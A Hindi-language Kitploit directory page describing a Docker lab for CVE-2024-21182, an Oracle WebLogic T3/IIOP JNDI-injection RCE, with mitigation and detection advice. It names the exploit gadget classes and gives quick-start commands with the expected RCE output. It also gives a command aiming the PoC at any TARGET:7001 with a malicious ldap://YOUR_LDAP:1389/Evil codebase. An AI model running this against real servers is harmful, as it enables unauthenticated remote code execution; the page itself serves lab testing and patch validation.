Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-21182 — # CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI इंजेक्शन के लिए प्रतिलिपि योग्य Docker लैब, जो अनधिकृत RCE की ओर ले जाता है। अधिकृत सुरक्षा परीक्षण और पैच सत्यापन के लिए एक-कमांड validate.sh। | Kitploit
उपकरण/GitHubGitHub/dinosn/cve-2024-21182
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubdinosn/cve-2024-21182

CVE-2024-21182

# CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI इंजेक्शन के लिए प्रतिलिपि योग्य Docker लैब, जो अनधिकृत RCE की ओर ले जाता है। अधिकृत सुरक्षा परीक्षण और पैच सत्यापन के लिए एक-कमांड validate.sh।

रिपॉजिटरी देखें
3483 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI इंजेक्शन → RCE (लैब)

Oracle WebLogic Server के OpaqueReference JNDI-इंजेक्शन भेद्यता परिवार (CVE-2024-21182, CVE-2023-21839 का पैच बायपास) को पुनः उत्पन्न करने और मान्य करने के लिए एक स्व-निहित, एक-कमांड Docker लैब, जो इसे बिना प्रमाणीकरण के रिमोट कोड निष्पादन में बदल देती है।

⚠️ केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और पैच सत्यापन के लिए। DISCLAIMER देखें। इसे केवल इस लैब या उन सिस्टमों पर चलाएँ जिनके आप स्वामी हैं।


यह क्या प्रदर्शित करता है

CVE-2024-21182 Oracle WebLogic Server के Core घटक में एक बिना प्रमाणीकरण वाली भेद्यता है, जो T3 / IIOP प्रोटोकॉल (डिफ़ॉल्ट पोर्ट 7001) के माध्यम से पहुँच योग्य है। यह एक हमलावर को सर्वर के JNDI ट्री में एक क्राफ्टेड "reference" ऑब्जेक्ट बाइंड करने और हमलावर-नियंत्रित URL के विरुद्ध सर्वर-साइड JNDI lookup ट्रिगर करने की अनुमति देता है — यह क्लासिक JNDI इंजेक्शन है जो RCE तक बढ़ जाता है।

CVECVE-2024-21182
उत्पादOracle WebLogic Server (Core)
प्रभावित (Oracle के अनुसार)12.2.1.4.0, 14.1.1.0.0
समाधानOracle अक्टूबर 2024 Critical Patch Update
वेक्टरनेटवर्क, बिना प्रमाणीकरण, T3/IIOP (पोर्ट 7001)
CISA KEVहाँ (ज्ञात रूप से वास्तविक दुनिया में शोषित)
वर्गCVE-2023-21839 (OpaqueReference JNDI इंजेक्शन) का पैच बायपास

मूल कारण

एक WebLogic reference ऑब्जेक्ट को lookup() के दौरान एक ObjectFactory द्वारा सर्वर-साइड पर हल किया जाता है, जो हमलावर द्वारा प्रदान किए गए URL के विरुद्ध एक नेस्टेड JNDI lookup करता है:

root@kitploit:~
weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (line 62)
       → new InitialContext().lookup( ldap://attacker/… )      ← attacker-controlled, server-side

CVE-2023-21839 इस तक weblogic.jndi.internal.ForeignOpaqueReference के माध्यम से पहुँचा, जिसे Oracle ने तब सुरक्षित कर दिया। CVE-2024-21182 उस सुरक्षा को बायपास करता है weblogic.ejb.container.internal.AggregatableOpaqueReference के माध्यम से उसी विदेशी lookup तक पहुँचकर, जिसका प्राइवेट referent फ़ील्ड रिफ्लेक्टिव रूप से एक weblogic.application.naming.MessageDestinationReference पर सेट किया जाता है।


⚠️ महत्वपूर्ण: लैब इमेज बनाम CVE-सूचीबद्ध संस्करण

यह लैब vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, बंडल JDK 1.8.0_151) का उपयोग करता है, क्योंकि यह एकमात्र स्वतंत्र रूप से पुनर्वितरित करने योग्य भेद्य WebLogic इमेज है — जिन संस्करणों को CVE-2024-21182 औपचारिक रूप से सूचीबद्ध करता है (12.2.1.4.0 / 14.1.1.0.0) उनके लिए Oracle लाइसेंस आवश्यक है और उन्हें यहाँ प्रकाशित नहीं किया जा सकता।

परिणाम, ईमानदारी से कहें तो:

  • लैब OpaqueReference JNDI-इंजेक्शन → RCE भेद्यता वर्ग को ईमानदारी से पुनः उत्पन्न करता है, जिसे सटीक CVE-2024-21182 गैजेट कक्षाओं (AggregatableOpaqueReference + MessageDestinationReference) के साथ प्रयोग किया जाता है।
  • यह पैच-बायपास गुण को स्वयं नहीं सिद्ध करता है — 12.2.1.3, CVE-2023-21839 ब्लैकलिस्ट से पहले का है, इसलिए इस इमेज पर बायपास करने के लिए कोई पैच मौजूद नहीं है। बायपास को विशेष रूप से प्रदर्शित करने के लिए आपको एक लाइसेंस प्राप्त 12.2.1.4 बिल्ड की आवश्यकता है, जो अक्टूबर-2024 CPU से ठीक पहले तक पैच किया गया हो।
  • RCE भाग: यहाँ काम करता है, क्योंकि JDK 1.8.0_151, 8u191 से पहले का है और com.sun.jndi.ldap.object.trustURLCodebase=true डिफ़ॉल्ट है (रिमोट कोडबेस क्लास लोडिंग)। आधुनिक JDK पर इंजेक्शन फिर भी चलता है (SSRF), लेकिन RCE के लिए रिमोट कोडबेस के बजाय WebLogic क्लासपाथ पर पहले से मौजूद गैजेट की आवश्यकता होती है।

त्वरित आरंभ

आवश्यकताएँ: Docker + Docker Compose v2। ~3 GB इमेज डाउनलोड। Apple Silicon पर इमेज linux/amd64 एमुलेशन के अंतर्गत चलती है (धीमा कोल्ड बूट, 2–5 मिनट)।

root@kitploit:~
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d        # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh               # waits for boot, fires the exploit, prints PASS/FAIL

./validate.sh की अपेक्षित अंतिम पंक्तियाँ:

root@kitploit:~
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)

बंद करने के लिए:

root@kitploit:~
docker compose down

यह कैसे काम करता है (क्रियाशील घटक)

root@kitploit:~
                 t3://weblogic:7001                         ldap://attacker:1389/Evil
  PoC client  ───────────────────────►  WebLogic  ──────────────────────────────►  attacker (LDAP)
 (in weblogic     bind() + lookup()      (victim)      server-side JNDI lookup        returns Reference
  container)                                                                          {javaCodeBase=http://attacker:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP codebase)
                                                           loads + instantiates → static{} runs `id`
  • poc/CVE_2024_21182.java — T3 क्लाइंट। दुर्भावनापूर्ण AggregatableOpaqueReference बनाता है, उसे bind() करता है, फिर सर्वर-साइड रिज़ॉल्यूशन ट्रिगर करने के लिए lookup() करता है। पैरामीटरीकृत: <t3-host:port> <ldap-url>। इसे validate.sh द्वारा WebLogic कंटेनर के अंदर संकलित किया जाता है, क्योंकि गैजेट कक्षाएँ WebLogic के पूर्ण मॉड्यूल सेट में रहती हैं (पुनर्वितरित करने योग्य थिन क्लाइंट में नहीं), इसलिए यहाँ कोई Oracle jar शामिल नहीं की जाती।
  • exploit/ldap_server.py — न्यूनतम दुर्भावनापूर्ण LDAP सर्वर जो एक JNDI Reference लौटाता है, साथ ही एक HTTP सर्वर जो फ़ैक्टरी क्लास होस्ट करता है। attacker कंटेनर में चलता है, जो WebLogic से सर्विस नाम attacker द्वारा पहुँच योग्य है।
  • exploit/Exploit.java / Exploit.class — पेलोड फ़ैक्टरी (Java 8 बाइटकोड)। इसका स्टैटिक इनिशियलाइज़र id / uname -a चलाता है और आउटपुट को पीड़ित के अंदर /tmp/RCE_PROOF_CVE_2024_21182 में लिखता है। डिज़ाइन से हानिरहित — कमांड बदलने के लिए इसे संपादित करें और exploit/build.sh चलाएँ।

आपको दिखने वाला ClassCastException (Exploit cannot be cast to ObjectFactory) अपेक्षित और केवल दिखावटी है — यह स्टैटिक इनिशियलाइज़र (पेलोड) के पहले ही निष्पादित हो जाने के बाद होता है।


पैच किए गए / वास्तविक लक्ष्य का सत्यापन

PoC को किसी भी T3 एंडपॉइंट पर लक्षित करें जिसका परीक्षण करने के लिए आप अधिकृत हैं:

root@kitploit:~
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
  • इंजेक्शन चलता है (आउटबाउंड LDAP देखा गया), RCE नहीं → JDK में trustURLCodebase=false है; आपके पास अभी भी SSRF है, और क्लासपाथ गैजेट के माध्यम से RCE संभव हो सकता है।
  • कुछ भी नहीं चलता → OpaqueReference पथ पैच किया गया है (Oct-2024 CPU लागू)।

शमन

  • पैच — Oracle अक्टूबर 2024 Critical Patch Update लागू करें।
  • नेटवर्क — WebLogic कनेक्शन फ़िल्टर (weblogic.security.net.ConnectionFilterImpl) और होस्ट फ़ायरवॉल के साथ T3/IIOP (7001) को प्रतिबंधित करें।
  • JDK — com.sun.jndi.ldap.object.trustURLCodebase=false रखें (वर्तमान JDK पर डिफ़ॉल्ट); यह रिमोट-कोडबेस RCE भाग को तोड़ता है (इंजेक्शन भाग को नहीं)।
  • पता लगाना — WebLogic JVM से गैर-अनुमत होस्टों की ओर आउटबाउंड LDAP/RMI/DNS; WebLogic प्रक्रिया की अप्रत्याशित चाइल्ड प्रक्रियाएँ; *OpaqueReference प्रकारों का T3 bind।

श्रेय और संदर्भ

  • सार्वजनिक PoC गैजेट: k4it0k1d/CVE-2024-21182
  • भेद्य इमेज: vulhub (weblogic/CVE-2023-21839)
  • पृष्ठभूमि: Oracle CPU एडवाइज़री; CVE-2023-21839 अनुसंधान (WebLogic OpaqueReference परिवार)

अस्वीकरण

यह परियोजना अधिकृत सुरक्षा परीक्षण, रक्षात्मक सत्यापन और शिक्षा के लिए प्रकाशित की गई है। भेद्य सॉफ़्टवेयर एक पृथक Docker लैब में चलता है। इन तकनीकों का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत नहीं हैं। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते। LICENSE देखें।

टूल डाउनलोड करें